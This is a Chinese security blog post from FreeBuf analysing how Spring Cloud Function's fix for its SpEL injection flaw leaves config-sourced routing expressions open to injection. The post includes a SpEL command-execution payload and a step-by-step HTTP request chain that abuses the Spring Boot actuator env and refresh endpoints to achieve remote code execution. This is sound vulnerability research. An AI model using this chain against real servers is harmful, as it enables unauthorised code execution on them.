freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Spring Cloud Function 新RCE 介绍及分析(借助配置文件或spring boot actuator)
2022-09-15 11:21:29
所属地 上海

背景

3月份的时候互联网上披露了Spring Cloud Function SPEL表达式注入漏洞,也就是Spring Cloud Function 从3.0.0.RELEASE 到3.2.2版本都存在一个表达式注入漏洞。这个漏洞也随后在3.2.3版本中被官方修复。既然我们无法通过Header注入,那么能否有其它办法改变spring.cloud.function.routing-expression的值从而执行代码呢?阅读了部分源码后,我发现了新的 RCE 方法。

代码改动分析

Spring Coud Function 官方在3.2.3版本修复了之前的commit为dc5128b 的SPEL注入漏洞,具体代码改动

1651399805_626e5c7d97abf1c8a633c.png!small?1651399807247

可以看到重载了functionFromExpression方法,通过判断isViaHeader的值来执行不同的处理过程;如果为真,就用SimpleEvaluationContext处理header 里面的输入,否则才用StandardEvaluationContext 处理。

1651399863_626e5cb774d79ea2c1901.png!small?1651399865121

在取Header头中的spring.cloud.function.routing-expression 是调用了functionFromExpression(StringroutingExpression, Objectinput, booleanisViaHeader),但是从配置文件中取这个字段的时候还是调用的原来的functionFromExpression(StringroutingExpression, Objectinput)方法。

1651399950_626e5d0e4235a6764eb65.png!small?1651399951873

因此理论上只要能够控制functionProperties.getRoutingExpression() 的值应该也能够触发这个漏洞。

进一步看下functionProperties类中的getRoutingExpression()方法

控制 functionProperties#getRoutingExpression()的取值

1651399091_626e59b3d98bb005d17b4.png!small?1651399093527


跟进到FunctionProperties这个类,它通过@ConfigurationProperties(prefix = FunctionProperties.PREFIX) 注解绑定相应的外部配置参数的值,因此getRoutingExpression()方法就能够获取到application.properties(yaml)中对应的spring.cloud.function.routingExpression的值。

1651399148_626e59ec7a012ed1316ab.png!small?1651399150047

因此如果更改了配置文件参数如下,则同样能够触发SPEL注入漏洞。

spring.cloud.function.definition=functionRouter
spring.cloud.function.routingExpression=T(java.lang.Runtime).getRuntime().exec("calc")

当然像上面的这种修改配置文件能够导致命令执行严格意义上并不能算是Spring-cloud-function的漏洞,因为配置文件是开发可以控制的,即非默认配置(发文章前也和cloud function 开源作者进行过沟通,其也表示不会在代码里增加判断配置文件的参数合法性的代码,我提交的fix PR他也没有采纳)。那么在实战中如何来控制配置文件信息呢?想到Spring Boot actuator 的 env 端点是能够更改环境变量属性信息的。

借助 actuator 修改环境变量

  • 1.请求/env端点,写入配置
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Type: application/json
Content-Length: 109

{"name":"spring.cloud.function.routingExpression","value":"T(java.lang.Runtime).getRuntime().exec('calc')"}

  • 2.请求/refresh端点,刷新配置生效
    POST /actuator/refresh HTTP/1.1
    Host: 127.0.0.1:9000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
    

  • 3.最后通过请求/functionRouter 路由执行routingExpression 表达式
POST /functionRouter/qqq HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

aaa

tips

actuator 2.x 需要将env 和refresh 端点暴露出来,还有就是env 端点可写的特性是在Spring Cloud才具有的。

management.endpoint.refresh.enabled=true
management.endpoint.env.post.enabled=true
management.endpoints.web.exposure.include=env,restart,refresh

另外如果遇到了“POST /actuator/env returns 405 method not allowed”,表示env 端点不允许POST提交数据。这个是因为Spring Cloud 在Hoxton.SR3版本已经将env 端点的可写性做了一些改变,可以参考(https://github.com/spring-projects/spring-boot/issues/20509),则需要改为下述代码:

management.endpoint.refresh.enabled=true 
management.endpoint.env.post.enabled=true
management.endpoints.web.exposure.include=env,restart,refresh

文中所涉及的技术思路仅供以安全为目的的学习和交流使用。

# 渗透测试 # web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录